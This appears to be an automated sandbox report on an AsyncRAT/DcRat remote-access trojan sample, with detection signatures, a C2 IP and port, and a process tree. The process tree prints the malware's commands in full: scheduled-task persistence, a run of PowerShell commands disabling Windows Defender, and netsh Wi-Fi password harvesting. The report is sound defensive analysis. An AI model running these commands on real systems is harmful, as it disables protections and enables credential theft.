Edit tour

Windows Analysis Report
t3h7DNer1Q.exe

Overview

General Information

Sample name:	t3h7DNer1Q.exe renamed because original name is a hash value
Original sample name:	b8d455465260a845db35492fda5a8888.exe
Analysis ID:	1446468
MD5:	b8d455465260a845db35492fda5a8888
SHA1:	287b0ba049ad8f3be802d2224efb86dba72d3221
SHA256:	a150a433c6a3e4278f6cc4cbc85863fc431e5c1e65081ad67253513e8ca01282
Tags:	32exe
Infos:

Detection

AsyncRAT, DcRat

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Capture Wi-Fi password

Snort IDS alert for network traffic

Yara detected AsyncRAT

Yara detected DcRat

.NET source code contains potential unpacker

.NET source code references suspicious native API functions

AI detected suspicious sample

Binary or sample is protected by dotNetProtector

Check if machine is in data center or colocation facility

Contains functionality to capture screen (.Net source)

Disable UAC(promptonsecuredesktop)

Disables UAC (registry)

Disables Windows Defender (via service or powershell)

Found many strings related to Crypto-Wallets (likely being stolen)

Loading BitLocker PowerShell Module

Machine Learning detection for sample

Modifies Windows Defender protection settings

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Powershell Defender Disable Scan Feature

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal WLAN passwords

Tries to harvest and steal browser information (history, passwords, etc)

Uses netsh to modify the Windows network and firewall settings

Uses schtasks.exe or at.exe to add and modify task schedules

Yara detected Costura Assembly Loader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to call native functions

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the product ID of Windows

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Schtasks From Env Var Folder

Stores large binary data to the registry

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

t3h7DNer1Q.exe (PID: 6212 cmdline: "C:\Users\user\Desktop\t3h7DNer1Q.exe" MD5: B8D455465260A845DB35492FDA5A8888)

cmd.exe (PID: 2696 cmdline: "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Loaader" /tr '"C:\Users\user\AppData\Roaming\Loaader.exe"' & exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4144 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 6108 cmdline: schtasks /create /f /sc onlogon /rl highest /tn "Loaader" /tr '"C:\Users\user\AppData\Roaming\Loaader.exe"' MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 3336 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tmpE266.tmp.bat"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6620 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 6364 cmdline: timeout 3 MD5: 100065E21CFBBDE57CBA2838921F84D6)

Loaader.exe (PID: 5172 cmdline: "C:\Users\user\AppData\Roaming\Loaader.exe" MD5: B8D455465260A845DB35492FDA5A8888)

Loaader.exe (PID: 3808 cmdline: C:\Users\user\AppData\Roaming\Loaader.exe MD5: B8D455465260A845DB35492FDA5A8888)

powershell.exe (PID: 7572 cmdline: "powershell" Get-MpPreference -verbose MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7580 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7764 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $true MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7776 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7788 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7816 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7860 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection $true MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7884 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7948 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode $true MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8032 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8052 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $true MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8112 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8132 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1880 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7344 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5448 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3052 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 6 MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1312 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4520 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 0 MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6232 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6280 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 6 MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6644 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7148 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 6 MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2860 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8024 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6268 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8224 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 2 MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8280 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 9176 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add - MpPreference - ExclusionExtension ".exe" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 9184 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 8108 cmdline: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1196 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 5596 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

netsh.exe (PID: 2792 cmdline: netsh wlan show profile MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

findstr.exe (PID: 3396 cmdline: findstr All MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)

cmd.exe (PID: 8816 cmdline: "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7628 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 6604 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

netsh.exe (PID: 8728 cmdline: netsh wlan show networks mode=bssid MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
AsyncRAT	AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection. It is an open source remote administration tool, however, it could also be used maliciously because it provides functionality such as keylogger, remote desktop control, and many other functions that may cause harm to the victims computer. In addition, AsyncRAT can be delivered via various methods such as spear-phishing, malvertising, exploit kit and other techniques.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/asyncrat-onenote-dropper https://aidenmitchell.ca/asyncrat-via-vbs/ https://assets.virustotal.com/reports/2021trends.pdf https://axmahr.github.io/posts/asyncrat-detection/ https://blog.checkpoint.com/research/november-2023s-most-wanted-malware-new-asyncrat-campaign-discovered-while-fakeupdates-re-entered-the-top-ten-after-brief-hiatus/	https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Malware Configuration

Threatname: AsyncRAT

{"Ports": ["3232"], "Server": ["66.235.168.242"], "Certificate": "MIICKTCCAZKgAwIBAgIVAOwI49vECmkjcVi6vDRu+6lTwBelMA0GCSqGSIb3DQEBDQUAMF0xDjAMBgNVBAMMBUVCT0xBMRMwEQYDVQQLDApxd3FkYW5jaHVuMRwwGgYDVQQKDBNEY1JhdCBCeSBxd3FkYW5jaHVuMQswCQYDVQQHDAJTSDELMAkGA1UEBhMCQ04wHhcNMjMwNjI0MTA1NzMxWhcNMzQwNDAyMTA1NzMwWjAQMQ4wDAYDVQQDDAVEY1JhdDCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAwLjfJLJldOS/ukdvNaxCeCKlqSDodMxbIlUBJFj4ifPzaijU+Qc9+Jdvhi6ZCNs9E/uBCzQd+fJoEornr5T4fZqOQIS2naeK29VzB3/xJlBW3faQNOQXicF/HSbX0ljWeGIbgZr/lpicEtjGgA1RGEt0zY2hVTNIufmV3WTYnLkCAwEAAaMyMDAwHQYDVR0OBBYEFE37VDHHP+vN1IXecEP/zz0inroMMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQENBQADgYEAaFlOwVBtr2Q4kDD0D5vcnSs/NiWSEKiRtNBVph0GxdbQXeE7epqNbjAM8aVZRDFw4hMP1gxetRk+Olcgp6/RDLzmei9uIydxJ8dk+KsCu0zWoL9yNWBx2BwVBNa7k3gAvh+CNuHFwb04ZG8kLR93TyFRZDUHUWglVnA3DQwJqrw=", "Server Signature": "iMAOwDJA0vMpVx4GkSywNj1D9PkiTGYL8k2vajxwK0ZTkgcoy6ziEU37PU07UskWTqs4CQy9wpx58wUw1AAp0a59QrAxozzZ/IsZBApD2Cr3P8v6ZVT8lHLZwC7Rvm+MFMotN8SBl4jk9ACD4dSwXvpgx0mYcM4Mkw7WfxAX6J8="}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
t3h7DNer1Q.exe	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
t3h7DNer1Q.exe	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0xd1e8:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0xd236:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0xd284:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
t3h7DNer1Q.exe	INDICATOR_SUSPICIOUS_EXE_DcRatBy	Detects executables containing the string DcRatBy	ditekSHen	0xd7e4:$s1: DcRatBy

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x39a:$b2: DcRat By qwqdanchun1

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Roaming\Loaader.exe	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
C:\Users\user\AppData\Roaming\Loaader.exe	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0xd1e8:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0xd236:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0xd284:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
C:\Users\user\AppData\Roaming\Loaader.exe	INDICATOR_SUSPICIOUS_EXE_DcRatBy	Detects executables containing the string DcRatBy	ditekSHen	0xd7e4:$s1: DcRatBy

Memory Dumps

Source	Rule	Description	Author	Strings
00000007.00000002.2853326582.0000000002A1A000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x46bf5:$b2: DcRat By qwqdanchun1 0x4b15d:$b2: DcRat By qwqdanchun1 0x4f195:$b2: DcRat By qwqdanchun1
00000000.00000000.1593618518.00000000009C2000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000000.00000002.1621545683.0000000000E04000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x4bfe5:$b2: DcRat By qwqdanchun1
00000007.00000002.2853326582.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000007.00000002.2853326582.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.2853326582.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x212cd:$b2: DcRat By qwqdanchun1
00000007.00000002.2853326582.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x27e9c:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x2ffdc:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
00000007.00000002.2853326582.0000000002A85000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x2195:$b2: DcRat By qwqdanchun1
00000007.00000002.2853326582.0000000002A6D000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x42e5:$b2: DcRat By qwqdanchun1
00000000.00000002.1622733927.0000000002C51000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x5478:$b1: DcRatByqwqdanchun 0x29df85:$b2: DcRat By qwqdanchun1
00000008.00000002.1664745743.0000000000B28000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x532a5:$b2: DcRat By qwqdanchun1
00000007.00000002.2850520768.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x4059:$b2: DcRat By qwqdanchun1
00000007.00000002.2850520768.0000000000C21000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x4c185:$b2: DcRat By qwqdanchun1 0x87d99:$b2: DcRat By qwqdanchun1
00000007.00000002.2877936876.000000001B38B000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x3bf9:$b2: DcRat By qwqdanchun1
00000007.00000002.2890957214.000000001CF80000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000007.00000002.2890957214.000000001CF80000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.2890957214.000000001CF80000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x176f64:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
00000007.00000002.2890957214.000000001CF80000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x17d476:$s1: \VPN\NordVPN 0x17d45c:$s2: \VPN\OpenVPN 0x17d43e:$s3: \VPN\ProtonVPN
00000000.00000002.1622733927.000000000322F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000007.00000002.2853326582.00000000029C1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DcRat_2	Yara detected DcRat	Joe Security
00000007.00000002.2853326582.00000000029C1000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x12a24:$a2: timeout 3 > NUL 0x12a5c:$a3: START "" " 0x5358:$b1: DcRatByqwqdanchun 0x3eb3d:$b2: DcRat By qwqdanchun1
00000008.00000002.1665242472.0000000002811000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x54a0:$b1: DcRatByqwqdanchun 0x29dfad:$b2: DcRat By qwqdanchun1
Process Memory Space: t3h7DNer1Q.exe PID: 6212	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: t3h7DNer1Q.exe PID: 6212	JoeSecurity_DcRat_2	Yara detected DcRat	Joe Security
Process Memory Space: t3h7DNer1Q.exe PID: 6212	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0xbeba:$a1: havecamera 0x2f8b2:$a1: havecamera 0x3079:$b1: DcRatByqwqdanchun 0x13a9f:$b1: DcRatByqwqdanchun 0x37497:$b1: DcRatByqwqdanchun 0xaca8:$b2: DcRat By qwqdanchun1 0x18022:$b2: DcRat By qwqdanchun1
Process Memory Space: Loaader.exe PID: 3808	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: Loaader.exe PID: 3808	JoeSecurity_DcRat_2	Yara detected DcRat	Joe Security
Process Memory Space: Loaader.exe PID: 3808	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Loaader.exe PID: 3808	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Loaader.exe PID: 3808	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0xdce77:$b1: DcRatByqwqdanchun 0x1d3bb:$b2: DcRat By qwqdanchun1 0x273ff:$b2: DcRat By qwqdanchun1 0x8f070:$b2: DcRat By qwqdanchun1 0xd2ffe:$b2: DcRat By qwqdanchun1 0xe8828:$b2: DcRat By qwqdanchun1 0x105813:$b2: DcRat By qwqdanchun1 0x12f5b1:$b2: DcRat By qwqdanchun1 0x12fbc5:$b2: DcRat By qwqdanchun1
Process Memory Space: Loaader.exe PID: 3808	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x2799c:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Process Memory Space: Loaader.exe PID: 5172	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0xe36b:$b1: DcRatByqwqdanchun 0x15f9c:$b2: DcRat By qwqdanchun1 0x1c4c7:$b2: DcRat By qwqdanchun1
Click to see the 27 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.t3h7DNer1Q.exe.9c0000.0.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
0.0.t3h7DNer1Q.exe.9c0000.0.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0xd1e8:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0xd236:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0xd284:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
0.0.t3h7DNer1Q.exe.9c0000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DcRatBy	Detects executables containing the string DcRatBy	ditekSHen	0xd7e4:$s1: DcRatBy
0.2.t3h7DNer1Q.exe.322f188.1.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
0.2.t3h7DNer1Q.exe.322f188.1.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0xb3e8:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0xb436:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0xb484:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
0.2.t3h7DNer1Q.exe.322f188.1.unpack	INDICATOR_SUSPICIOUS_EXE_DcRatBy	Detects executables containing the string DcRatBy	ditekSHen	0xb9e4:$s1: DcRatBy
0.2.t3h7DNer1Q.exe.322f188.1.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
0.2.t3h7DNer1Q.exe.322f188.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0xd1e8:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0xd236:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0xd284:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
0.2.t3h7DNer1Q.exe.322f188.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DcRatBy	Detects executables containing the string DcRatBy	ditekSHen	0xd7e4:$s1: DcRatBy
7.2.Loaader.exe.1cf80000.8.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
7.2.Loaader.exe.1cf80000.8.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
7.2.Loaader.exe.1cf80000.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x176f64:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
7.2.Loaader.exe.1cf80000.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x17d476:$s1: \VPN\NordVPN 0x17d45c:$s2: \VPN\OpenVPN 0x17d43e:$s3: \VPN\ProtonVPN
7.2.Loaader.exe.1cf80000.8.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
7.2.Loaader.exe.1cf80000.8.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
7.2.Loaader.exe.1cf80000.8.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x175164:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
7.2.Loaader.exe.1cf80000.8.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x17b676:$s1: \VPN\NordVPN 0x17b65c:$s2: \VPN\OpenVPN 0x17b63e:$s3: \VPN\ProtonVPN
Click to see the 12 entries

Sigma Signatures

System Summary

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Loaader" /tr '"C:\Users\user\AppData\Roaming\Loaader.exe"' & exit, CommandLine: "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Loaader" /tr '"C:\Users\user\AppData\Roaming\Loaader.exe"' & exit, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\t3h7DNer1Q.exe", ParentImage: C:\Users\user\Desktop\t3h7DNer1Q.exe, ParentProcessId: 6212, ParentProcessName: t3h7DNer1Q.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Loaader" /tr '"C:\Users\user\AppData\Roaming\Loaader.exe"' & exit, ProcessId: 2696, ProcessName: cmd.exe

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $true, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $true, CommandLine|base64offset|contains: I~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\Loaader.exe, ParentImage: C:\Users\user\AppData\Roaming\Loaader.exe, ParentProcessId: 3808, ParentProcessName: Loaader.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $true, ProcessId: 7764, ProcessName: powershell.exe

Sigma detected: Powershell Defender Disable Scan Feature

Source: Process started

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

